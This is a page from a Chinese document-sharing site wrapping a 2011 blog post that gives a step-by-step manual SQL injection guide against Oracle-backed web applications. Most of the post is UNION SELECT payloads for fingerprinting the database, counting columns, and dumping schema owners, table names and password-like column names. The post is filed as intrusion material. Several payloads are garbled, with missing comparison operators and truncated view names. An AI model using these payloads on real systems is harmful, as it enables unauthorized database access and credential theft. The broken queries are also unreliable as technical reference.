- 1、本文档共5页,可阅读全部内容。
- 2、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
- 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
- 5、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
- 6、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们。
- 7、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
- 8、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
Oracle 手工注入总结
Oracle 手工注入总结
Oracle 手工注入总结
2011-11-17 20:49:08| 分类: 入侵你的~Xin | 标签:oracle注入 |字号 订阅
1.判断是否存在注入点的方法和其他数据库类似,and 1=1 和and 1=2
2.判断数据库为oracle
提交注释字符/*,返回正常即是MySQL,否则继续提交注释符号--,该符号是Oracle和MsSQL支持的注释符,返回正常就需要继续判断。可以继续提交多语句支持符号;如果支持多行查询,说明是MSSQL,因为Oracle不支持多行查询,可以继续提交查询语句:
and exist(select * from dual) 或 and (select count(*) from user_tables)0--
利用的原理是dual表和user_tables表是oracle中的系统表,返回正常就判断为Oracle
3.获取基本信息
(1)获取字段数,同样可以使用oder by N 根据返回页面判断
(2)获取数据库版本,执行下面语句:
and 1=2 union select 1,2,(select banner from sys.v_ where rownum=1),4,5,6 from dual
(4)获取日志文件的绝对路径,同样可以通过这个绝对判断系统类型
and 1=2 union select 1,2,(select instance_name from v,4,5,6 from dual
4.和Mysql=5.0和MsSQL=2005的特性利用
(1)爆数据库名
# 爆出第一个数据库名
and 1=2 union select 1,2,(select owner from all_tables where rownum=1),4,5,6 from dual
# 依次爆出所有数据库名,假设第一个库名为first_dbname
and 1=2 union select 1,2,(select owner from all_tables where rownum=1 and ownerfirst_dbname),4,5,6 from dual
(2)爆出表名
# 爆出第一个表名
and 1=2 union select 1,2,(select table_name from user_tables where rownum=1),4,5,6 from dual
同理,同爆出下一个数据库类似爆出下一个表名就不说了,但是必须注意表名用大写或者表名大写的十六进制代码。
有时候我们只想要某个数据库中含密码字段的表名,采用模糊查询语句,如下:
and (select column_name from user_tab_columns where column_name like %25pass%25)0
如果成功也可以继续提交
and 1=2 union select 1,2,(select column_name from user_tab_columns where column_name like %25pass%25),4,5,6 from dual
这也是猜解表名的一种方法,不过比上面方法麻烦。
(3)爆字段名
# 爆出表tablename中的第一个字段名
and 1=2 union select 1,2,(select column_name from user_tab_columns where table_name=tablename and rownum=1),4,5,6 from dual
# 爆出第一个字段名
and 1=2 union select 1,2,(select column_name from user_tab_columns where table_name=tablename and column_namefirst_col_name and rownum=1),4,5,6 from dual
这样就可以爆出所有的字段名了。
这样就可以和普通的注入一样获取字段内容了,就不多说了。
5.Oracle注入过程的特性
这点主要说明在Oracle注入中和其他数据库注入不大一样的几点说明。
(1)字段类型必须确定
oracle注入中严格要求各个字段的类型必须和定义的一致否则会出错,我们可以通过下面方法确定各个字段的类型。
and 1=2 union select null,null,null,null,null,null from dual
如此依次将下面的每个null用单引号替换,查看返回页面,返回正常说明那个字段为字符型。确定所有字段类型后就可以注入了, 是字符型的就用‘null’,数字型的就直接null
(2)
您可能关注的文档
最近下载
- 人教版2024八年级下册物理9.4 跨学科实践:制作简易活塞式抽水机(教学设计).docx VIP
- 全国山西经济版小学信息技术第一册第三单元活动2《小蘑菇》说课稿.docx VIP
- 全国山西经济版小学信息技术第一册第三单元活动2《小蘑菇》教学设计.docx VIP
- 《四世同堂》的汉奸形象书写与国民性批判.docx VIP
- 曲臂车安全专项施工方案.docx VIP
- SAJ三晶VM1000H系列高性能变频器用户手册使用说明书0.75~9kW.pdf
- 低空经济产业园的综合建设方案.docx
- 道路交通事故认定书复核申请书.pdf VIP
- 铁路无人机培训课件.pptx
- 读书分享课件《三体》-刘慈欣.pptx VIP
文档评论(0)